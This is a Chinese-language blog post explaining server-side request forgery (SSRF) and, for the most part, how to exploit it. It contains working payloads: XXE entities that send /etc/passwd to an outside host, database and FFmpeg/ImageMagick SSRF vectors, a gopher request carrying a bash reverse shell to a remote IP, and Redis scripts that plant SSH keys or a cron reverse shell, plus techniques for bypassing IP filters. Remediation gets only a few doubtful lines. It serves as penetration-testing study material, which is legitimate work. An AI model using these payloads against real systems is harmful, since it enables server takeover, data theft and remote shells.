SSRF漏洞

作者: jjf012 | 来源:发表于2019-06-13 11:55 被阅读0次

全称Server-Side Request Forgery服务器端请求伪造,是一种经攻击者构造形成由服务端发起请求的一个安全漏洞。
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

可利用的点

节选自猪猪侠的《build your ssrf framework》

  • XML
    DTD Remote Access
    <!ENTITY % d SYSTEM "http://wuyun.org/evil.dtd">
    XML 外部实体
    <!ENTITY % file system "file:///etc/passwd" >
    <!ENTITY % d SYSTEM "http://wuyun.org/file?data=%file">
    URL调用
    <!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://wuyun.org/urlin">

  • 数据库自带的访问网络的功能
    MongoDB db.copyDatabase('\r\nconfig set dbfilename wyssrf\r\nquit\r\n’,'test','10.6.4.166:6379')
    Oracle
    select UTL_HTTP.REQUEST('http://'||(select version from v$nstance)||'test.com') from dual
    PostgresSQL
    SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'\r\nconfig set dbfilename wyssrf\r\n\quit\r\n' password=1 port=6379 sslmode=disable', 'select version();');
    MSSQL

    • SELECT openrowset('SQLOLEDB','server=192.168.1.5;uid=sa;pwd=sa;database=master')
    • SELECT * FROM OpenDatasource('SQLOLEDB','Data Source=ServerName;User ID=sa;Password=sa').Northwind.dbo.Categories

    CouchDB

    POST http://couchdb-server:5984/_replicate
    Content-Type: application/json
    Accept: application/json
    
    { "source" : "recipes",
    "target" : "dict://redis.wuyun.org:6379/flushall",}
  • 应用系统中设置远程服务器的功能
  • 文件处理、编码处理、属性信息处理(应用系统的自动预览功能)
    • FFmpeg concat:http://wyssrf.wuyun.org/header.y4m|file:///etc/passwd
    • ImageMagick (mvg) fill 'url(http://wyssrf.wuyun.org)'
    • XML parsers ( XSLT ) XSLT包含了100个内置函数(能访问网络?)
      document() include() import()
  • python urllib http头注入,好像是哪个cve?
    利用如下的url http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:ur10ser/test
    服务器返回
GET /test HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :ur10ser
Connection: close

协议扩大攻击面

主要攻击 redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用,主要利用gopher协议,以及filedict

  • dict://fuzz.wuyun.org:8080/helo:dict
  • file:///etc/passwd

注意
大部分 PHP 并不会开启 fopen 的 gopher wrapper
file_get_contents 的 gopher 协议不能 UrlEncode
file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),7.45以上无此bug
curl_exec() 默认不跟踪跳转,
file_get_contents() 支持php://input协议

java中支持的协议更为有限,file ftp mailto http https jar netdoc,比较有用的就file和http协议了。

构造Gopher载荷

gopher可以向任何端口发送任意形式的请求,构造方法与http类似。基本结构如下:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
比如http的POST请求,在gopher中是这样的
gopher://test.com/_POST /exp.php HTTP/1.1%0d%0aHost: test.com_ip%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

以喜闻乐见的redis为例。替换成自己的redis IP和端口。
上传公钥的脚本

(echo -e "\n\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n\n") > upload.txt
cat ~/upload.txt | redis-cli -h $1 -p $2 -x set tmp
redis-cli -h $1 -p $2 -x config set dir /root/.ssh
redis-cli -h $1 -p $2 -x config set dbfilename authorized_keys
redis-cli -h $1 -p $2 -x get tmp
redis-cli -h $1 -p $2 -x save
redis-cli -h $1 -p $2 -x quit

反弹shell的脚本

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

用socat监听4444端口,将流量转发到6379端口,同时会把请求流量记录到文件
socat -v tcp-listen:4444,fork tcp-connect:192.168.70.128:6379 2>&1|tee socat.log
执行脚本 bash shell.sh 127.0.0.1 4444,图略

为了将流量转化为gopher协议,先了解下socat记录tcp流的格式:

  • >开头一行表示客户端发送了一个tcp包
  • <开头一行表示服务器返回了一个tcp包

基于以上格式,要这么转换

  • 字符串\r替换成%0d%0a
  • 空白行替换为%0a
  • 空格替换成%20
  • 再使用urlencode(给php时会做一次decode,curl再做一次decode)
....
    # 判断倒数第2、3字符串是否为\r
    if line[-3:-1] == r'\r':
       # 如果该行只有\r,将\r替换成%0a%0d%0a
       if len(line) == 3:
           exp = exp + '%0a%0d%0a'
       else:
           line = line.replace(r'\r', '%0d%0a')
           # 去掉最后的换行符
           line = line.replace('\n', '')
           exp = exp + line
    # 判断是否是空行,空行替换为%0a
    elif line == '\x0a':
       exp = exp + '%0a'
    else:
       line = line.replace(' ', '%20')
       line = line.replace('\n', '')
       exp = exp + line
exp=quote(exp)

如果是单次请求如php fastcgi,可以考虑用nc -lvvp 9000>1.txt来转储请求包

绕过

数字地址绕过

一般来说,开发者会使用正则对传入的URL进行匹配,过滤掉内网IP,比如:
192.168.*.*10.0.*.*等。

^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-
5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

四位点分十进制形式的IP地址127.0.0.1代表一组32位二进制数码,如果合在一起再转换成一个十进制数的话,答案就是1945096731。
127*256^3+0*256^2+0*256^1+1*256^0=
1929379840+15663104+53760+27=2130706433
比如:百度的IP地址“119.75.218.77”转换成数字地址就是“2001459789”

可以改变ip的写法来绕过,各进制可以互相混用

  • 8进制格式:0300.0250.0.1
  • 16进制格式:0xC0.0xA8.0.1
  • 10进制整数格式:3232235521
  • 16进制整数格式:0xC0A80001

xip.ionip.io

这是一个神奇的域名,nslookup 127.127.127.127.xip.io看看

利用URL解析的问题

完整的URL scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]

许多URL方案保留某些特殊含义的字符:字符“;”,“/”,“?”,“:”,“@”,“=”和“&”可以保留用于方案内的特殊含义。在方案中不能保留其他字符。
分号(“;”)和等于(“=”)保留字符通常用于分隔适用于该段的参数和参数值。逗号(“,”)保留字符通常用于类似目的

http://www.baidu.com@192.168.1.1
http://google.com:80+&@127.88.23.245:22/#+@google.com:80/
http://127.88.23.245:22/+&@google.com:80#+@google.com:80/
http://google.com:80+&@google.com:80#+@127.88.23.245:22/
http://127.88.23.245:22/?@google.com:80/
http://127.88.23.245:22/#@www.google.com:80/

其他办法

  1. URL任意跳转 找到一个子域名或者白名单域名的任意跳转
  2. 重定向
  3. 利用符号,比如点号换成句号,或者利用Enclosed alphanumerics
  4. Dns Rebinding 自建DNS服务器,服务端第一次进行解析返回的是内网ip,绕过验证之后,真正发起请求时解析的结果反而是外网ip。域名的ttl时间要设置为0

测试工具

https://github.com/swisskyrepo/SSRFmap 整合了常见的内网应用的攻击面
https://github.com/iamultra/ssrfsocks 顾名思义,利用SSRF+Gopher做成一个socks代理
https://github.com/tarunkant/Gopherus 构造常见的内网应用的gopher请求

修复建议

限制请求的协议为http或者https?
提取host,验证ip是否为内网?
好像并没有什么好的修复方法。

参考
https://blog.chaitin.cn/gopher-attack-surfaces/
https://www.cnblogs.com/mrchang/p/6254634.html
https://github.com/cujanovic/SSRF-Testing 有转换ip的脚本
https://anemone.top/ssrf-SSRF%E6%88%90%E5%9B%A0%E3%80%81%E6%94%BB%E5%87%BB%E5%92%8C%E9%98%B2%E5%BE%A1/

相关文章

  • 安全包开发整体架构

    SSRF防御 SSRF安全漏洞以及防御实现 XSS防御 xss漏洞以及防御实现 CSRF防御 CSRF安全漏洞以及...

  • ssrf攻击内网应用

    一、weblogic ssrf攻击redis Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTT...

  • weblogic漏洞系列-SSRF漏洞

    0x01前言: SSRF漏洞的原理这里就不在细说了,这里主要讲解weblogic中SSRF漏洞的检测办法,以及利用...

  • SSRF漏洞

      最近给业务测试,发现了SSRF(服务器请求伪造攻击)漏洞,这里简单给大家做个介绍。 SSRF漏洞的定义   S...

  • weblogic-ssrf漏洞判定(一)

    就目前小白学习情况,暂时认为weblogic中此两处存在SSRF漏洞隐患,SSRF漏洞的基本概念在此就不做阐述了。...

  • SSRF漏洞

    全称Server-Side Request Forgery服务器端请求伪造,是一种经攻击者构造形成由服务端发起请求...

  • SSRF漏洞

    很多 Web 应用都提供了从其他服务器上获取数据的功能。使用用户指定的 URL,web 应用可以获取图片,下载文件...

  • SSRF漏洞

    概念:服务端在获取攻击者输入的url时,如果这个过程中,服务端并没有对这个url做任何的限制和过滤,那么就很有可能...

  • SSRF漏洞

    上周挖了几个SSRF漏洞,标的服务器配置较为简单,利用file协议就可以做很多事情。后来顺便看了一些SSRF漏洞相...

  • ssrf

    SSRF漏洞是如何产生的? SSRF(Server-Side Request Forgery:服务器端请求伪造) ...

网友评论

    本文标题:SSRF漏洞

    本文链接:https://www.haomeiwen.com/subject/ydijfctx.html